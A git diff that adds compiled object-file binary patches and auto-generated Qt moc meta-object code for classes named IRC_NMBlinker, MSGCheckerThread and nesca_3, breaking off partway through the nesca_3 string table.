z1bo2;K`+m_#PxdB3oh+kXRvdt(97~XD!8<>$6)6Lp_g{b>5(^<U#<(a#Pxn2Ht>cC zsu|REtb<dYmzE2@K=82OQh&AJQomMkssDlCQXdyw>TecY>hBa>>hBX=>K_tZ>URh( z^-l>d_0I|}_5UWg)W0dX)E^RD>W2lF`Y#2SdJjFv$LlWjMS@HHiGoXgso+w7hTu{^ zLvX3T(7<a1mv$BkF6}H6T<TW|F7;OlF7;i4Oa1o+m-;P&OZ|Z0Qh$fwQh%@DQvW1z z9KXlF?>*Y*Jty>w#JD?_J`up{+bDRDING^LaGLhixGod?Y&ge&cI15WJw?-b(7-ns z_yNOx)_;k5;U|hb&yZZTL6zYAZ^N*h)q<P!$Abogu0Pquir2t7`<*DboQDakbphM- zZn1yGG-UYOM*Ac>B=~*;-2SZpaRKH|zB^*Roj48agq^+EDIoBBFxLBM-@x@^{tA`T zt8yjFSw;5CG|u~ja*ZDx=K}60Y=1nJ2k+f5Fz+Tl!^H_+M(Y;dD`8;$0CBv>!N7b1 zwOf^<N!~*ouN?-~H&FxIE>7@4;`JJTj@qq3<CRoj98(zB{sdYtm%BK@D~YerINwKc z|3o|37rDPtu@u9yG3S1Z&3Lik`~?o$xkT_%ILDydKhwp^{z5os`-Ii!5>!=2>WGiM zmcftTX;O15{Su+%bkuX3V6xONHRz`Z&ixtf@U_5XFaCjmJfP0pKjn0ee2(Bg!RHFj z{SEb(3SLF$$nhI04%~l`U(OJYTsGu<tudMFj{FJ)6jss^`IU5zhc$GLoaa(R9fGf< zb9q30NC4T+*jIX}qm_^b^~hIJT(&c=3wl63*B#Tm_y+>^EBtZL$F-LdI4|q@dT?7Y z=XT`!GUs?7*<(IH@jEp>NbyHCt~v~`=QPgW0llN~l~{2IN8LlBzWg1~1WM=f?56nH z8t3nTYBcV}j1X36oWBEdG~Pq{8#T_~0o|wZgQWi_jq`UvuV|dV1A0&6{2fpp*~0_= z_&cDJHO}7w`83Yo0ofY&;^YTmrQo#1QQQ%nmM+Eb5PY5@?jLRsOr|AGCHzY0d5mDf oe!=mSzq{e*-pFW4K)F>;;|aN(C%OHQ<8M3dW4eVNIe-81-{V7;-v9sr literal 0 HcmV?d00001 diff --git a/moc_irc_nmblinker.cpp b/moc_irc_nmblinker.cpp new file mode 100644 index 0000000..da4c7a6 --- /dev/null +++ b/moc_irc_nmblinker.cpp @@ -0,0 +1,124 @@ +/**************************************************************************** +** Meta object code from reading C++ file 'irc_nmblinker.h' +** +** Created by: The Qt Meta Object Compiler version 67 (Qt 5.3.2) +** +** WARNING! All changes made in this file will be lost! +*****************************************************************************/ + +#include "irc_nmblinker.h" +#include <QtCore/qbytearray.h> +#include <QtCore/qmetatype.h> +#if !defined(Q_MOC_OUTPUT_REVISION) +#error "The header file 'irc_nmblinker.h' doesn't include <QObject>." +#elif Q_MOC_OUTPUT_REVISION != 67 +#error "This file was generated using the moc from 5.3.2. It" +#error "cannot be used with the include files from this version of Qt." +#error "(The moc has changed too much.)" +#endif + +QT_BEGIN_MOC_NAMESPACE +struct qt_meta_stringdata_IRC_NMBlinker_t { + QByteArrayData data[3]; + char stringdata[29]; +}; +#define QT_MOC_LITERAL(idx, ofs, len) \ + Q_STATIC_BYTE_ARRAY_DATA_HEADER_INITIALIZER_WITH_OFFSET(len, \ + qptrdiff(offsetof(qt_meta_stringdata_IRC_NMBlinker_t, stringdata) + ofs \ + - idx * sizeof(QByteArrayData)) \ + ) +static const qt_meta_stringdata_IRC_NMBlinker_t qt_meta_stringdata_IRC_NMBlinker = { + { +QT_MOC_LITERAL(0, 0, 13), +QT_MOC_LITERAL(1, 14, 13), +QT_MOC_LITERAL(2, 28, 0) + }, + "IRC_NMBlinker\0sBlinkMessage\0" +}; +#undef QT_MOC_LITERAL + +static const uint qt_meta_data_IRC_NMBlinker[] = { + + // content: + 7, // revision + 0, // classname + 0, 0, // classinfo + 1, 14, // methods + 0, 0, // properties + 0, 0, // enums/sets + 0, 0, // constructors + 0, // flags + 1, // signalCount + + // signals: name, argc, parameters, tag, flags + 1, 0, 19, 2, 0x06 /* Public */, + + // signals: parameters + QMetaType::Void, + + 0 // eod +}; + +void IRC_NMBlinker::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a) +{ + if (_c == QMetaObject::InvokeMetaMethod) { + IRC_NMBlinker *_t = static_cast<IRC_NMBlinker *>(_o); + switch (_id) { + case 0: _t->sBlinkMessage(); break; + default: ; + } + } else if (_c == QMetaObject::IndexOfMethod) { + int *result = reinterpret_cast<int *>(_a[0]); + void **func = reinterpret_cast<void **>(_a[1]); + { + typedef void (IRC_NMBlinker::*_t)(); + if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&IRC_NMBlinker::sBlinkMessage)) { + *result = 0; + } + } + } + Q_UNUSED(_a); +} + +const QMetaObject IRC_NMBlinker::staticMetaObject = { + { &QThread::staticMetaObject, qt_meta_stringdata_IRC_NMBlinker.data, + qt_meta_data_IRC_NMBlinker, qt_static_metacall, 0, 0} +}; + + +const QMetaObject *IRC_NMBlinker::metaObject() const +{ + return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : &staticMetaObject; +} + +void *IRC_NMBlinker::qt_metacast(const char *_clname) +{ + if (!_clname) return 0; + if (!strcmp(_clname, qt_meta_stringdata_IRC_NMBlinker.stringdata)) + return static_cast<void*>(const_cast< IRC_NMBlinker*>(this)); + return QThread::qt_metacast(_clname); +} + +int IRC_NMBlinker::qt_metacall(QMetaObject::Call _c, int _id, void **_a) +{ + _id = QThread::qt_metacall(_c, _id, _a); + if (_id < 0) + return _id; + if (_c == QMetaObject::InvokeMetaMethod) { + if (_id < 1) + qt_static_metacall(this, _c, _id, _a); + _id -= 1; + } else if (_c == QMetaObject::RegisterMethodArgumentMetaType) { + if (_id < 1) + *reinterpret_cast<int*>(_a[0]) = -1; + _id -= 1; + } + return _id; +} + +// SIGNAL 0 +void IRC_NMBlinker::sBlinkMessage() +{ + QMetaObject::activate(this, &staticMetaObject, 0, 0); +} +QT_END_MOC_NAMESPACE diff --git a/moc_irc_nmblinker.o b/moc_irc_nmblinker.o new file mode 100644 index 0000000000000000000000000000000000000000..ef11461e9a7d2de32285d8a60135cfe5aab70a93 GIT binary patch literal 7816 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 B`l0{; literal 0 HcmV?d00001 diff --git a/moc_msgcheckerthread.cpp b/moc_msgcheckerthread.cpp new file mode 100644 index 0000000..26d8e59 --- /dev/null +++ b/moc_msgcheckerthread.cpp @@ -0,0 +1,124 @@ +/**************************************************************************** +** Meta object code from reading C++ file 'msgcheckerthread.h' +** +** Created by: The Qt Meta Object Compiler version 67 (Qt 5.3.2) +** +** WARNING! All changes made in this file will be lost! +*****************************************************************************/ + +#include "msgcheckerthread.h" +#include <QtCore/qbytearray.h> +#include <QtCore/qmetatype.h> +#if !defined(Q_MOC_OUTPUT_REVISION) +#error "The header file 'msgcheckerthread.h' doesn't include <QObject>." +#elif Q_MOC_OUTPUT_REVISION != 67 +#error "This file was generated using the moc from 5.3.2. It" +#error "cannot be used with the include files from this version of Qt." +#error "(The moc has changed too much.)" +#endif + +QT_BEGIN_MOC_NAMESPACE +struct qt_meta_stringdata_MSGCheckerThread_t { + QByteArrayData data[3]; + char stringdata[29]; +}; +#define QT_MOC_LITERAL(idx, ofs, len) \ + Q_STATIC_BYTE_ARRAY_DATA_HEADER_INITIALIZER_WITH_OFFSET(len, \ + qptrdiff(offsetof(qt_meta_stringdata_MSGCheckerThread_t, stringdata) + ofs \ + - idx * sizeof(QByteArrayData)) \ + ) +static const qt_meta_stringdata_MSGCheckerThread_t qt_meta_stringdata_MSGCheckerThread = { + { +QT_MOC_LITERAL(0, 0, 16), +QT_MOC_LITERAL(1, 17, 10), +QT_MOC_LITERAL(2, 28, 0) + }, + "MSGCheckerThread\0showNewMsg\0" +}; +#undef QT_MOC_LITERAL + +static const uint qt_meta_data_MSGCheckerThread[] = { + + // content: + 7, // revision + 0, // classname + 0, 0, // classinfo + 1, 14, // methods + 0, 0, // properties + 0, 0, // enums/sets + 0, 0, // constructors + 0, // flags + 1, // signalCount + + // signals: name, argc, parameters, tag, flags + 1, 1, 19, 2, 0x06 /* Public */, + + // signals: parameters + QMetaType::Void, QMetaType::QString, 2, + + 0 // eod +}; + +void MSGCheckerThread::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a) +{ + if (_c == QMetaObject::InvokeMetaMethod) { + MSGCheckerThread *_t = static_cast<MSGCheckerThread *>(_o); + switch (_id) { + case 0: _t->showNewMsg((*reinterpret_cast< QString(*)>(_a[1]))); break; + default: ; + } + } else if (_c == QMetaObject::IndexOfMethod) { + int *result = reinterpret_cast<int *>(_a[0]); + void **func = reinterpret_cast<void **>(_a[1]); + { + typedef void (MSGCheckerThread::*_t)(QString ); + if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&MSGCheckerThread::showNewMsg)) { + *result = 0; + } + } + } +} + +const QMetaObject MSGCheckerThread::staticMetaObject = { + { &QThread::staticMetaObject, qt_meta_stringdata_MSGCheckerThread.data, + qt_meta_data_MSGCheckerThread, qt_static_metacall, 0, 0} +}; + + +const QMetaObject *MSGCheckerThread::metaObject() const +{ + return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : &staticMetaObject; +} + +void *MSGCheckerThread::qt_metacast(const char *_clname) +{ + if (!_clname) return 0; + if (!strcmp(_clname, qt_meta_stringdata_MSGCheckerThread.stringdata)) + return static_cast<void*>(const_cast< MSGCheckerThread*>(this)); + return QThread::qt_metacast(_clname); +} + +int MSGCheckerThread::qt_metacall(QMetaObject::Call _c, int _id, void **_a) +{ + _id = QThread::qt_metacall(_c, _id, _a); + if (_id < 0) + return _id; + if (_c == QMetaObject::InvokeMetaMethod) { + if (_id < 1) + qt_static_metacall(this, _c, _id, _a); + _id -= 1; + } else if (_c == QMetaObject::RegisterMethodArgumentMetaType) { + if (_id < 1) + *reinterpret_cast<int*>(_a[0]) = -1; + _id -= 1; + } + return _id; +} + +// SIGNAL 0 +void MSGCheckerThread::showNewMsg(QString _t1) +{ + void *_a[] = { 0, const_cast<void*>(reinterpret_cast<const void*>(&_t1)) }; + QMetaObject::activate(this, &staticMetaObject, 0, _a); +} +QT_END_MOC_NAMESPACE diff --git a/moc_msgcheckerthread.o b/moc_msgcheckerthread.o new file mode 100644 index 0000000000000000000000000000000000000000..bca1d4385dec3fbe1e3a0fcb1445a1a910e092cf GIT binary patch literal 9584 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 literal 0 HcmV?d00001 diff --git a/moc_nesca_3.cpp b/moc_nesca_3.cpp new file mode 100644 index 0000000..6681747 --- /dev/null +++ b/moc_nesca_3.cpp @@ -0,0 +1,713 @@ +/**************************************************************************** +** Meta object code from reading C++ file 'nesca_3.h' +** +** Created by: The Qt Meta Object Compiler version 67 (Qt 5.3.2) +** +** WARNING! All changes made in this file will be lost! +*****************************************************************************/ + +#include "nesca_3.h" +#include <QtCore/qbytearray.h> +#include <QtCore/qmetatype.h> +#if !defined(Q_MOC_OUTPUT_REVISION) +#error "The header file 'nesca_3.h' doesn't include <QObject>." +#elif Q_MOC_OUTPUT_REVISION != 67 +#error "This file was generated using the moc from 5.3.2. It" +#error "cannot be used with the include files from this version of Qt." +#error "(The moc has changed too much.)" +#endif + +QT_BEGIN_MOC_NAMESPACE +struct qt_meta_stringdata_nesca_3_t { + QByteArrayData data[111]; + char stringdata[1651]; +}; +#define QT_MOC_LITERAL(idx, ofs, len) \ + Q_STATIC_BYTE_ARRAY_DATA_HEADER_INITIALIZER_WITH_OFFSET(len, \ + qptrdiff(offsetof(qt_meta_stringdata_nesca_3_t, stringdata) + ofs \ + - idx * sizeof(QByteArrayData)) \ + ) +static const qt_meta_stringdata_nesca_3_t qt_meta_stringdata_nesca_3 = { + { +QT_MOC_LITERAL(0, 0, 7), +QT_MOC_LITERAL(1, 8, 25), +QT_MOC_LITERAL(2, 34, 0), +QT_MOC_LITERAL(3, 35, 3), +QT_MOC_LITERAL(4, 39, 23), +QT_MOC_LITERAL(5, 63, 3), +QT_MOC_LITERAL(6, 67, 14), +QT_MOC_LITERAL(7, 82, 18), +QT_MOC_LITERAL(8, 101, 6), +QT_MOC_LITERAL(9, 108, 12), +QT_MOC_LITERAL(10, 121, 20), +QT_MOC_LITERAL(11, 142, 21), +QT_MOC_LITERAL(12, 164, 22), +QT_MOC_LITERAL(13, 187, 18), +QT_MOC_LITERAL(14, 206, 11), +QT_MOC_LITERAL(15, 218, 15), +QT_MOC_LITERAL(16, 234, 15), +QT_MOC_LITERAL(17, 250, 15), +QT_MOC_LITERAL(18, 266, 10), +QT_MOC_LITERAL(19, 277, 15), +QT_MOC_LITERAL(20, 293, 16), +QT_MOC_LITERAL(21, 310, 2), +QT_MOC_LITERAL(22, 313, 17), +QT_MOC_LITERAL(23, 331, 17), +QT_MOC_LITERAL(24, 349, 13), +QT_MOC_LITERAL(25, 363, 16), +QT_MOC_LITERAL(26, 380, 14), +QT_MOC_LITERAL(27, 395, 5), +QT_MOC_LITERAL(28, 401, 9), +QT_MOC_LITERAL(29, 411, 10), +QT_MOC_LITERAL(30, 422, 13), +QT_MOC_LITERAL(31, 436, 10), +QT_MOC_LITERAL(32, 447, 16), +QT_MOC_LITERAL(33, 464, 11), +QT_MOC_LITERAL(34, 476, 11), +QT_MOC_LITERAL(35, 488, 2), +QT_MOC_LITERAL(36, 491, 17), +QT_MOC_LITERAL(37, 509, 13), +QT_MOC_LITERAL(38, 523, 8), +QT_MOC_LITERAL(39, 532, 3), +QT_MOC_LITERAL(40, 536, 13), +QT_MOC_LITERAL(41, 550, 13), +QT_MOC_LITERAL(42, 564, 14), +QT_MOC_LITERAL(43, 579, 17), +QT_MOC_LITERAL(44, 597, 6), +QT_MOC_LITERAL(45, 604, 19), +QT_MOC_LITERAL(46, 624, 13), +QT_MOC_LITERAL(47, 638, 4), +QT_MOC_LITERAL(48, 643, 12), +QT_MOC_LITERAL(49, 656, 19), +QT_MOC_LITERAL(50, 676, 10), +QT_MOC_LITERAL(51, 687, 10), +QT_MOC_LITERAL(52, 698, 9), +QT_MOC_LITERAL(53, 708, 15), +QT_MOC_LITERAL(54, 724, 15), +QT_MOC_LITERAL(55, 740, 18), +QT_MOC_LITERAL(56, 759, 10), +QT_MOC_LITERAL(57, 770, 17), +QT_MOC_LITERAL(58, 788, 16), +QT_MOC_LITERAL(59, 805, 13), +QT_MOC_LITERAL(60, 819, 14), +QT_MOC_LITERAL(61, 834, 16), +QT_MOC_LITERAL(62, 851, 18), +QT_MOC_LITERAL(63, 870, 20), +QT_MOC_LITERAL(64, 891, 4), +QT_MOC_LITERAL(65, 896, 20), +QT_MOC_LITERAL(66, 917, 20), +QT_MOC_LITERAL(67, 938, 18), +QT_MOC_LITERAL(68, 957, 20), +QT_MOC_LITERAL(69, 978, 18), +QT_MOC_LITERAL(70, 997, 15), +QT_MOC_LITERAL(71, 1013, 14), +QT_MOC_LITERAL(72, 1028, 11), +QT_MOC_LITERAL(73, 1040, 2), +QT_MOC_LITERAL(74, 1043, 2), +QT_MOC_LITERAL(75, 1046, 2), +QT_MOC_LITERAL(76, 1049, 2), +QT_MOC_LITERAL(77, 1052, 12), +QT_MOC_LITERAL(78, 1065, 17), +QT_MOC_LITERAL(79, 1083, 17), +QT_MOC_LITERAL(80, 1101, 14), +QT_MOC_LITERAL(81, 1116, 12), +QT_MOC_LITERAL(82, 1129, 5), +QT_MOC_LITERAL(83, 1135, 15), +QT_MOC_LITERAL(84, 1151, 17), +QT_MOC_LITERAL(85, 1169, 16), +QT_MOC_LITERAL(86, 1186, 22), +QT_MOC_LITERAL(87, 1209, 25), 